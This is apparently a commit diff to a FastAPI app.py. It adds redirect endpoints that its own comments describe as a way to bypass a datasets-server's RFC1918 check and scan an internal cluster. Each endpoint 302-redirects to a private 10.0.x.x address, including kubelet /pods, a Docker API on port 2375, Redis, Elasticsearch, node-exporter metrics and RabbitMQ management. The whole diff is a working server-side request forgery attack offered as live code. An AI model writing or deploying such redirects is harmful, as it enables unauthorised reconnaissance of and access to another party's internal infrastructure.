add redirect endpoints for intra-cluster port bypass
Browse files
app.py
CHANGED
|
@@ -620,3 +620,57 @@ async def redirect_watismijnip():
|
|
| 620 |
async def icanhazip_txt():
|
| 621 |
"""Redirect to icanhazip.com — returns plain IP, parseable by datasets-server"""
|
| 622 |
return RedirectResponse(url="https://icanhazip.com", status_code=302)
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 620 |
async def icanhazip_txt():
|
| 621 |
"""Redirect to icanhazip.com — returns plain IP, parseable by datasets-server"""
|
| 622 |
return RedirectResponse(url="https://icanhazip.com", status_code=302)
|
| 623 |
+
|
| 624 |
+
# Direct redirect endpoints for intra-cluster port scanning
|
| 625 |
+
# Worker follows redirect → bypasses datasets-server RFC1918 check on initial URL
|
| 626 |
+
|
| 627 |
+
@app.get("/r-w92-9100.txt")
|
| 628 |
+
async def r_w92_9100(): return RedirectResponse("http://10.0.92.50:9100/metrics", 302)
|
| 629 |
+
|
| 630 |
+
@app.get("/r-w92-8888.txt")
|
| 631 |
+
async def r_w92_8888(): return RedirectResponse("http://10.0.92.50:8888/metrics", 302)
|
| 632 |
+
|
| 633 |
+
@app.get("/r-w92-8080.txt")
|
| 634 |
+
async def r_w92_8080(): return RedirectResponse("http://10.0.92.50:8080/", 302)
|
| 635 |
+
|
| 636 |
+
@app.get("/r-w46-9100.txt")
|
| 637 |
+
async def r_w46_9100(): return RedirectResponse("http://10.0.46.118:9100/metrics", 302)
|
| 638 |
+
|
| 639 |
+
@app.get("/r-w31-9100.txt")
|
| 640 |
+
async def r_w31_9100(): return RedirectResponse("http://10.0.31.252:9100/metrics", 302)
|
| 641 |
+
|
| 642 |
+
@app.get("/r-w45-9100.txt")
|
| 643 |
+
async def r_w45_9100(): return RedirectResponse("http://10.0.45.198:9100/metrics", 302)
|
| 644 |
+
|
| 645 |
+
@app.get("/r-f-9090.txt")
|
| 646 |
+
async def r_f_9090(): return RedirectResponse("http://10.0.249.215:9090/metrics", 302)
|
| 647 |
+
|
| 648 |
+
@app.get("/r-f-9100.txt")
|
| 649 |
+
async def r_f_9100(): return RedirectResponse("http://10.0.249.215:9100/metrics", 302)
|
| 650 |
+
|
| 651 |
+
@app.get("/r-f-3000.txt")
|
| 652 |
+
async def r_f_3000(): return RedirectResponse("http://10.0.249.215:3000/", 302)
|
| 653 |
+
|
| 654 |
+
@app.get("/r-f-9200.txt")
|
| 655 |
+
async def r_f_9200(): return RedirectResponse("http://10.0.249.215:9200/", 302)
|
| 656 |
+
|
| 657 |
+
@app.get("/r-f-6379.txt")
|
| 658 |
+
async def r_f_6379(): return RedirectResponse("http://10.0.249.215:6379/", 302)
|
| 659 |
+
|
| 660 |
+
@app.get("/r-kubelet-92.txt")
|
| 661 |
+
async def r_kubelet_92(): return RedirectResponse("http://10.0.92.50:10255/pods", 302)
|
| 662 |
+
|
| 663 |
+
@app.get("/r-kubelet-46.txt")
|
| 664 |
+
async def r_kubelet_46(): return RedirectResponse("http://10.0.46.118:10255/pods", 302)
|
| 665 |
+
|
| 666 |
+
@app.get("/r-docker-92.txt")
|
| 667 |
+
async def r_docker_92(): return RedirectResponse("http://10.0.92.50:2375/version", 302)
|
| 668 |
+
|
| 669 |
+
@app.get("/r-wh21-9100.txt")
|
| 670 |
+
async def r_wh21_9100(): return RedirectResponse("http://10.0.21.86:9100/metrics", 302)
|
| 671 |
+
|
| 672 |
+
@app.get("/r-wh21-8080.txt")
|
| 673 |
+
async def r_wh21_8080(): return RedirectResponse("http://10.0.21.86:8080/", 302)
|
| 674 |
+
|
| 675 |
+
@app.get("/r-rabbit-mgmt.txt")
|
| 676 |
+
async def r_rabbit_mgmt(): return RedirectResponse("http://10.0.249.215:15672/", 302)
|